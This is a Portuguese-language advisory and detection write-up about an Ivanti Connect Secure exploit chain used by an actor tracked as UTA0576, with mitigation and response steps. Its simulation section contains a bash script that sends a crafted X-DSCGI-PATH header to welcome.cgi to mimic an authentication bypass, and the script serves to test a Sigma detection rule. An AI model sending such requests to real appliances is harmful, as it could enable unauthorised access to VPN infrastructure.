CVE-2026-104935: Ivanti Connect Secure Zero-Day Explorado em Ataques em Cadeia

Resumo

Um agente de ameaça rastreado como UTA0576 explorou uma cadeia de três vulnerabilidades em aparelhos Ivanti Connect Secure para obter acesso root não autenticado. A cadeia de ataques combinou uma ultrapassagem de autenticação com uma falha de execução remota de código, seguida por uma vulnerabilidade de escalonamento de privilégios não corrigida. O ator contou com cargas na memória para reduzir a visibilidade e evadir detecção por ferramentas padrão de verificação de integridade.

Investigação

A Volexity identificou a atividade enquanto investigava um incidente envolvendo um aparelho VPN ICS. A investigação mostrou que o ator implantou uma carga em etapas e na memória usando scripts Perl, Bash e Python para minimizar o impacto no sistema de arquivos. A reconstrução forense exigiu imagens de memória e de disco devido às técnicas antiforenses do invasor e à manipulação deliberada de logs.

Mitigação

As organizações devem atualizar imediatamente o Ivanti Connect Secure para a versão 22.8R2.5 ou posterior, ou fazer a transição para a linha de código 25.1. Os usuários devem permanecer alertas para a falha de escalonamento de privilégios não corrigida e monitorar continuamente sinais de comprometimento. Depender apenas da Ferramenta de Verificação de Integridade da Ivanti é insuficiente porque pode falhar em identificar modificações na memória.

Resposta

Quando uma atividade suspeita for identificada, os respondedores devem adquirir imagens de memória, imagens de disco e dumps de núcleo para uma análise forense detalhada. Monitore logs da web para volumes elevados de solicitações para welcome.cgi e anomalias envolvendo o cabeçalho X-DSCGI-PATH. Inspecione diretórios temporários em busca de scripts inesperados e revise logs de depuração ou auditoria em busca de lacunas que possam indicar manipulação.

Execução de Simulação

• Narrativa e Comandos do Ataque: O adversário está buscando explorar uma vulnerabilidade conhecida no aparelho Ivanti Connect Secure para obter uma entrada inicial. Para evitar regras WAF baseadas em assinatura tradicionais que procuram travessia de caminho na própria URL, o invasor utiliza o cabeçalho X-DSCGI-PATH . O objetivo é injetar um caminho que direcione o servidor web a executar um script em um diretório temporário ou gravável (/home/runtime/tmp/), efetivamente contornando a autenticação e permitindo a execução arbitrária de comandos.

• Script de Teste de Regressão: Este script simula a solicitação HTTP maliciosa contendo a combinação específica de cabeçalho e URI definida na regra Sigma.

  #!/bin/bash
  # Simulação de Ultrapassagem de Autenticação/RCE do Ivanti Connect Secure
  # Alvo: Interface Web do Ivanti Connect Secure
  
  TARGET_URL="https://<TARGET_IP>/dana-na/auth/url_default/welcome.cgi"
  MALICIOUS_HEADER="X-DSCGI-PATH: /home/runtime/tmp/"
  
  echo "[*] Iniciando simulação de T1190/T1212..."
  echo "[*] Enviando solicitação maliciosa para $TARGET_URL"
  
  # Usando curl para enviar o cabeçalho criado
  curl -k -X GET "$TARGET_URL" 
       -H "$MALICIOUS_HEADER" 
       -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)" 
       -v
  
  if [ $? -eq 0 ]; then
    echo "[+] Solicitação enviada com sucesso. Verifique o SIEM para detecção."
  else
    echo "[-] Falha ao enviar solicitação."
  fi

• Comandos de Limpeza:

  # Nenhuma alteração permanente foi feita no sistema alvo por esta simulação.
  # Se quaisquer arquivos foram carregados durante um ataque real, eles seriam removidos aqui.
  echo "[*] Limpeza: Nenhum arquivo foi modificado no alvo durante esta simulação."